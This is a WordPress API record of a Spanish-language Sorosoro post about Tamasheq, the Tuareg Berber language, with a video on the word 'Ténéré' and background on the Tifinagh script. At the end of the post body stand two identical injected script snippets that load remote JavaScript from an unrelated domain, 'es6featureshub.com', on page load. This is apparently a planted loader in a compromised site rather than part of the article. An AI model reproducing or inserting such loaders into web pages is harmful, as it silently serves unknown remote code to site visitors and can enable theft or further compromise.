{"id":55176,"date":"2011-08-26T17:41:13","date_gmt":"2011-08-26T15:41:13","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=55176"},"modified":"2025-10-21T22:26:49","modified_gmt":"2025-10-21T20:26:49","slug":"las-palabras-del-desierto-en-tamasheq","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/","title":{"rendered":"Las palabras del desierto"},"content":{"rendered":"<p style=\"text-align: justify;\">Hablaremos del <strong>tamasheq, la lengua  berebere de los tuareg<\/strong> en \u00c1frica del Norte. \u00a1Pero esta vez, vamos a hacerlo en franc\u00e9s!<\/p>\n<p style=\"text-align: justify;\">Y para esto estamos en compa\u00f1\u00eda de <strong>Mohamed Hamza, poeta y profesor<\/strong> de tamasheq: en este v\u00eddeo, Mohamed explica con mucha finura lo que significa la palabra \u00bb T\u00e9n\u00e9r\u00e9 \u00bb en su lengua. Seguramente conocemos la palabra, ya que es el nombre del desierto de esta regi\u00f3n, pero para los tuareg, tiene tambi\u00e9n otro sentido, que le proponemos descubrir\u2026<\/p>\n<p style=\"text-align: justify;\">En cuanto al t\u00e9rmino S\u00e1hara, veremos que no se trata en absoluto de una palabra berberisca, un pueblo omnipresente sin embargo en esta parte del continente \u2026<\/p>\n<p><a href=\"https:\/\/www.sorosoro.org\/es\/videos-en-lengua-tamasheq-sahel-africa-del-norte\"> Ver todos los videos en tamasheq<\/a><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/GPrM4A0TzUQ?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/GPrM4A0TzUQ?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p><span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\"><em><br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Recordatorio<\/strong>: El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es hablado por los tuareg, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia pasando por N\u00edger. Se cuentan alrededor de 1 mill\u00f3n de hablantes de tamasheq.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>As\u00ed como el cabilio, el chaoui o el rife\u00f1o, el tamasheq es de hecho una de las variantes del berebere (o tamazight), un grupo de lenguas presentes en toda \u00c1frica del Norte (Marruecos, Argelia, T\u00fanez, Libia, Egipto, N\u00edger, Mauritania, Mal\u00ed y  Burkina-Faso), sin contar una importante di\u00e1spora en Europa y en Am\u00e9rica. En total, se estima que son m\u00e1s de 45 millones de hablantes de berebere.<\/em><\/p>\n<p style=\"text-align: justify;\"><em> <\/em><\/p>\n<p style=\"text-align: justify;\"><em>Una de las particularidades de la lengua berebere es su escritura. Un alfabeto, llamado tifinagh, existe desde el primer milenio antes de la era cristiana, y a pesar de su casi desaparici\u00f3n al norte d\u00f3nde ha sido suplantado por los alfabetos latinos y \u00e1rabes, jam\u00e1s ha dejado de ser utilizado por los tuareg. En la segunda mitad del siglo XX, una versi\u00f3n moderna, primero lanzada por la Academia Berebere, luego modificada por ling\u00fcistas para hacer un est\u00e1ndar aplicable a todos los hablas, es en la actualidad ampliamente utilizada, al norte, e incluso oficializada en Marruecos a partir de 2001. Este alfabeto, que se designa bajo el nombre de neo tifinagh, aunque suscita entusiasmo al norte, es, no obstante, acogido con recelo por los tuareg.<\/em><\/p>\n<p style=\"text-align: justify;\"><em> <\/em><\/p>\n<p style=\"text-align: justify;\"><em> <\/em><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hablaremos del tamasheq, la lengua berebere de los tuareg en \u00c1frica del Norte. \u00a1Pero esta vez, vamos a hacerlo en franc\u00e9s! Y para esto estamos en compa\u00f1\u00eda de Mohamed Hamza, poeta y profesor de tamasheq: en este v\u00eddeo, Mohamed explica con mucha finura lo que significa la palabra \u00bb T\u00e9n\u00e9r\u00e9 \u00bb en su lengua. Seguramente [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25],"tags":[],"class_list":["post-55176","post","type-post","status-publish","format-standard","hentry","category-video-de-la-semana"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Las palabras del desierto - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Las palabras del desierto - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Hablaremos del tamasheq, la lengua berebere de los tuareg en \u00c1frica del Norte. \u00a1Pero esta vez, vamos a hacerlo en franc\u00e9s! Y para esto estamos en compa\u00f1\u00eda de Mohamed Hamza, poeta y profesor de tamasheq: en este v\u00eddeo, Mohamed explica con mucha finura lo que significa la palabra \u00bb T\u00e9n\u00e9r\u00e9 \u00bb en su lengua. Seguramente [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-08-26T15:41:13+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:26:49+00:00\" \/>\n<meta name=\"author\" content=\"Rozenn Milin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Rozenn Milin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\"},\"author\":{\"name\":\"Rozenn Milin\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"headline\":\"Las palabras del desierto\",\"datePublished\":\"2011-08-26T15:41:13+00:00\",\"dateModified\":\"2025-10-21T20:26:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\"},\"wordCount\":398,\"articleSection\":[\"Todos los videos\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\",\"name\":\"Las palabras del desierto - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-08-26T15:41:13+00:00\",\"dateModified\":\"2025-10-21T20:26:49+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Las palabras del desierto\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\",\"name\":\"Rozenn Milin\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/rozenn-milin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Las palabras del desierto - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/","og_locale":"es_ES","og_type":"article","og_title":"Las palabras del desierto - Sorosoro","og_description":"Hablaremos del tamasheq, la lengua berebere de los tuareg en \u00c1frica del Norte. \u00a1Pero esta vez, vamos a hacerlo en franc\u00e9s! Y para esto estamos en compa\u00f1\u00eda de Mohamed Hamza, poeta y profesor de tamasheq: en este v\u00eddeo, Mohamed explica con mucha finura lo que significa la palabra \u00bb T\u00e9n\u00e9r\u00e9 \u00bb en su lengua. Seguramente [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/","og_site_name":"Sorosoro","article_published_time":"2011-08-26T15:41:13+00:00","article_modified_time":"2025-10-21T20:26:49+00:00","author":"Rozenn Milin","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Rozenn Milin","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/"},"author":{"name":"Rozenn Milin","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"headline":"Las palabras del desierto","datePublished":"2011-08-26T15:41:13+00:00","dateModified":"2025-10-21T20:26:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/"},"wordCount":398,"articleSection":["Todos los videos"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/","name":"Las palabras del desierto - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-08-26T15:41:13+00:00","dateModified":"2025-10-21T20:26:49+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/las-palabras-del-desierto-en-tamasheq\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Las palabras del desierto"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1","name":"Rozenn Milin","url":"https:\/\/www.sorosoro.org\/es\/author\/rozenn-milin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/55176","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=55176"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/55176\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=55176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=55176"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=55176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}